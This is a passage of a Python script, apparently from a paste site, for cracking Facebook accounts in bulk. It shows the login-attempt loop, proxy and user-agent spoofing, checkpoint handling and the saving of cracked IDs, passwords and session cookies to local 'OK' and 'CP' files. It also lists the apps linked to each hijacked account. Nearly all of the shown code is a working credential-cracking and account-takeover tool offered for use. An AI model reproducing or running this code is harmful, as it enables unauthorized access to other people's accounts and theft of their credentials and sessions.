  1216.             heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'fr_FR,fr;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
  1217.             po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  1218.             if "checkpoint" in po.cookies.get_dict().keys():
  1219.                 if 'ya' in oprek:
  1220.                     akun.append(idf+'|'+pw)
  1221.                     ceker(idf,pw)
  1222.                 elif 'ya' in princp:
  1223.                     print('\n')
  1224.                     statuscp = f'[•] ID       : {idf} [•] PASSWORD : {pw}'
  1225.                     statuscp1 = nel(statuscp, style='red')
  1226.                     cetak(nel(statuscp1, title='AOREC-XD CP'))
  1227.                     open('/sdcard/4MBF-DATA/CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1228.                     akun.append(idf+'|'+pw)
  1229.                     cp+=1
  1230.                 else:continue
  1231.                 break
  1232.             elif "c_user" in ses.cookies.get_dict().keys():
  1233.                 headapp={"user-agent":"SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]"}
  1234.                 if 'no' in taplikasi:
  1235.                     coki=po.cookies.get_dict()
  1236.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1237.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1238.                     print('\n')
  1239.                     statusok = f'[•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}'
  1240.                     statusok1 = nel(statusok, style='green')
  1241.                     cetak(nel(statusok1, title='OK'))
  1242.                     ok+=1
  1243.                     break
  1244.                 elif 'ya' in taplikasi:
  1245.                     coki=po.cookies.get_dict()
  1246.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1247.                     open('/sdcard/4MBF-DATA/OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1248.                     user=idf
  1249.                     infoakun = ""
  1250.                     session = requests.Session()
  1251.                     cek2 = session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies=coki,headers=headapp).text
  1252.                     cek =session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies=coki,headers=headapp).text
  1253.                     infoakun += (f"\n[bold cyan][•] LIST ACTIVE APPLICATIONS :[/bold cyan] \n")
  1254.                     apkaktif=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek))
  1255.                     nok=1
  1256.                     for muncul in apkaktif:
  1257.                         infoakun+= (f"[bold cyan][{nok}] {muncul[0]} {muncul[1]}[/bold cyan]\n")
  1258.                         nok+=1
  1259.  
  1260.                     hit=0
  1261.                     infoakun += (f"\n[bold yellow][•] LIST EXPIRED APPLICATIONS :[/bold yellow]\n")
  1262.                     apkexp=re.findall('</i><div class=".*?"><span class=".*?">(.*?)</span><div></div><div class=".*?">(.*?)</div></div>',str(cek2))
  1263.                     hit=0
  1264.                     for muncul in apkexp:
  1265.                         hit+=1
  1266.                         infoakun += (f"[bold yellow][{hit}] {muncul[0]} {muncul[1]}[/bold yellow]\n")
  1267.                     print('\n')
  1268.                     statusok = f'[bold green][•] ID       : {idf}\n[•] PASSWORD : {pw}\n[•] COOKIES  : {kuki}[/bold green]\n{infoakun}'
  1269.                     statusok1 = nel(statusok, style='green')
  1270.                     cetak(nel(statusok1, title='[bold green]AOREC-XD OK[/bold green]'))
  1271.                     ok+=1
  1272.                     break
  1273.             else:
  1274.                 continue
  1275.         except requests.exceptions.ConnectionError:
  1276.             time.sleep(31)
  1277.     loop+=1
  1278. #--------------------[ CHECK-OPSI-CHEKPOINT ]-------------------#
  1279. def ceker(idf,pw):
  1280.     global cp
  1281.     ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.128 Safari/537.36 FBMF/HUAWEI;FBBD/HUAWEI;FBPN/com.facebook.services;FBDV/EVR-L29;FBSV/10;FBLR/0;FBBK/1;FBCA/arm64-v8a:;]'
  1282.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1283.     ses = requests.Session()
  1284.     try:
  1285.         hi = ses.get('https://mbasic.facebook.com')
  1286.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  1287.         jo = ho.find('form')
  1288.         data = {}
  1289.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1290.         for anj in jo('input'):
  1291.             if anj.get('name') in lion:
  1292.                 data.update({anj.get('name'):anj.get('value')})
  1293.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  1294.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1295.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1296.         cp+=1
  1297.         opsi = kent.find_all('option')
  1298.         if len(opsi)==0:
  1299.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1300.         else:
  1301.             for opsii in opsi:
  1302.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1303.     except Exception as c:
  1304.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1305.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  1306.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1307.         cp+=1
  1308. #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
  1309. def cek_opsi():
  1310.     c = len(akun)
  1311.     hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
  1312.     cetak(nel(hu, title='CEK OPSI'))
  1313.     input(x+'['+h+'•'+x+'] Mulai')
  1314.     cek = '# PROSES CEK OPSI DIMULAI'
  1315.     sol().print(mark(cek, style='green'))
  1316.     love = 0
  1317.     for kes in akun:
  1318.         try:
  1319.             try:
  1320.                 id,pw = kes.split('|')[0],kes.split('|')[1]
  1321.             except IndexError:
  1322.                 time.sleep(2)
  1323.                 print('\r%s++++ %s ----> Error      %s'%(b,kes,x))
  1324.                 print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
  1325.                 continue
  1326.             bi = random.choice([u,k,kk,b,h,hh])
  1327.             print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
  1328.             ua = 'Mozilla/5.0 (Linux; Android 11; TECNO KD8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4755.101 Mobile Safari/537.36'
  1329.             ses = requests.Session()
  1330.             header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1331.             hi = ses.get('https://mbasic.facebook.com')
  1332.             ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
  1333.             if "checkpoint" in ses.cookies.get_dict().keys():
  1334.                 try:
  1335.                     jo = ho.find('form')
  1336.                     data = {}
  1337.                     lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1338.                     for anj in jo('input'):
  1339.                         if anj.get('name') in lion:
  1340.                             data.update({anj.get('name'):anj.get('value')})
  1341.                     kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
  1342.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1343.                     opsi = kent.find_all('option')
  1344.                     if len(opsi)==0:
  1345.                         print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1346.                     else:
  1347.                         for opsii in opsi:
  1348.                             print('\r%s---> %s%s'%(kk,opsii.text,x))
  1349.                 except:
  1350.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1351.                     print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
  1352.             elif "c_user" in ses.cookies.get_dict().keys():
  1353.                 print('\r%s++++ %s|%s ----> OK       %s'%(h,id,pw,x))
  1354.             else:
  1355.                 print('\r%s++++ %s|%s ----> SALAH       %s'%(x,id,pw,x))
  1356.             love+=1
  1357.         except requests.exceptions.ConnectionError:
  1358.             print('')
  1359.             li = '# KONEKSI INTERNET BERMASALAH, PERIKSA & COBA LAGI'
  1360.             sol().print(mark(li, style='red'))
  1361.             exit()
  1362.     dah = '# DONE'
  1363.     sol().print(mark(dah, style='green'))
  1364.     exit()
  1365. #----------------------[ CEK-APLIKASI ]---------------------#
  1366. def cek_apk(session,cookie):
  1367.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
  1368.     sop = BeautifulSoup(w,"html.parser")
  1369.     x = sop.find("form",method="post")
  1370.     game = [i.text for i in x.find_all("h3")]
  1371.     if len(game)==0:
  1372.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
  1373.     else:
  1374.         for i in range(len(game)):
  1375.             print("   %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
  1376.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
  1377.     sop = BeautifulSoup(w,"html.parser")
  1378.     x = sop.find("form",method="post")
  1379.     game = [i.text for i in x.find_all("h3")]
  1380.     if len(game)==0:
  1381.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
  1382.     else:
  1383.         for i in range(len(game)):
  1384.             print("   %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
  1385.  
  1386. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1387. if __name__=='__main__':
  1388.     try:os.system('git pull')
  1389.     except:pass
  1390.     try:os.mkdir('OK')
  1391.     except:pass
  1392.     try:os.mkdir('CP')
  1393.     except:pass
  1394.     try:os.mkdir('DUMP')
  1395.     except:pass
  1396.     try:os.system('touch .prox.txt')
  1397.     except:pass
  1398.     login()
  1399.  
Add Comment
Please, Sign In to add comment